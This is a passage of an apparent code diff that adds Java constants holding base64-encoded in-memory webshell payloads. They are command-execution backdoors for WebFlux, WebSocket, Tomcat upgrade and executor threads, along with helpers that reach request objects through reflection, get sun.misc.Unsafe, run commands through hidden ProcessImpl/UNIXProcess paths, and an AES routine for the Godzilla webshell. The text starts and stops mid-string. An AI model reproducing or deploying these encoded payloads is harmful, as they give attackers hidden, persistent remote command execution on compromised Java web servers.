WJsZSh0cnVlKTsKCQkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IChqYXZhLmlvLklucHV0U3RyZWFtKSBtZXRob2QuaW52b2tlKHByb2Nlc3NPYmplY3QsIG51bGwpOwoJCQkJCQlpbnQgICAgICAgICAgICAgICAgIGEgID0gMDsKCQkJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCQkJYmFvcy53cml0ZShiLCAwLCBhKTsKCQkJCQkJfQoKCQkJCQkJamF2YS5pby5QcmludFdyaXRlciB3cml0ZXIgPSByZXNwb25zZS5nZXRXcml0ZXIoKTsKCQkJCQkJd3JpdGVyLndyaXRlKGJhb3MudG9TdHJpbmcoKSk7CgkJCQkJCXdyaXRlci5mbHVzaCgpOwoJCQkJCQl3cml0ZXIuY2xvc2UoKTsKCQkJCQl9CgkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJfQoJCQkJcmV0dXJuOwoJCQl9CgkJfQ=="; + + public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9"; + + public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String UPGRADE_SHELL = "ewoJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgcmVxdWVzdCA9ICQxOwoKCQl0cnkgewoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICBjb21tYW5kICA9IHJlcXVlc3QuZ2V0SGVhZGVyKENNRF9IRUFERVIpOwoJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXNwb25zZSByZXNwb25zZSA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXNwb25zZSkgZ2V0RmllbGRWYWx1ZShyZXF1ZXN0LCAicmVzcG9uc2UiKTsKCQkJcmVzcG9uc2UuZG9Xcml0ZShqYXZhLm5pby5CeXRlQnVmZmVyLndyYXAoZXhlY0NtZChjb21tYW5kKS50b0J5dGVBcnJheSgpKSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBmYWxzZTsKCX0="; + + public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9"; + + // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性 + public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9"; + + // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode + public static String GET_RESPONSE = "cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ"; + + // toCString + public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; + + // getMethodAndInvoke native 版 + public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; + + // getMethodAndInvoke + public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; + + // getMethodByClass + public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; + + // getFieldValue + public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; + + // getUnsafe + public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; + + // base64Decode + public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0RGVjbGFyZWRNZXRob2QoImdldERlY29kZXIiLCBuZXcgQ2xhc3NbXXtudWxsfSkuaW52b2tlKG51bGwsbmV3IE9iamVjdFtde251bGx9KTsKCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKCQkJCU9iamVjdCBkZWNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUyKSB7CgkJCX0KCQl9CgkJcmV0dXJuIHZhbHVlOwoJfQo="; + + // base64Encode + public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbmV3IENsYXNzW117bnVsbH0pLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bnVsbH0pOwoJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZVRvU3RyaW5nIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzfSkuaW52b2tlKEVuY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjRFbmNvZGVyIik7CgkJCQlPYmplY3QgRW5jb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGUiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KCQl9CgkJcmV0dXJuIHZhbHVlOwoJfQ=="; + + // MD5 + public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9"; + + // 哥斯拉 AES 方法 x(需要 Field xc) + public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ=="; + + // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe + public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCAgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCVN0cmluZ0J1aWxkZXIgICAgICAgICAgc2IgICAgICAgICA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CgoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCBoYW5kbGUgPSBnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImNyZWF0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIGxvbmdbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgc3RkSGFuZGxlcywgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0V9KTsKCQkJCQlpZiAoaGFuZGxlID09IG51bGwpIHsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSwKCQkJCQkJCQluZXcgT2JqZWN0W117c2IudG9TdHJpbmcoKS50cmltKCksIG51bGwsIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJZmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJZmllbGQuc2V0KHByb2Nlc3NPYmplY3QsIGhhbmRsZSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJmZEFjY2VzcyIpLCAic2V0SGFuZGxlIiwgbmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgbG9uZy5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCX0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShuZXcgamF2YS5pby5GaWxlSW5wdXRTdHJlYW0oc3Rkb3V0X2ZkKSkpOwoJCQkJfSBlbHNlIHsKCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCXByb2Nlc3NDbGFzcyA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyIpOwoJCQkJCXByb2Nlc3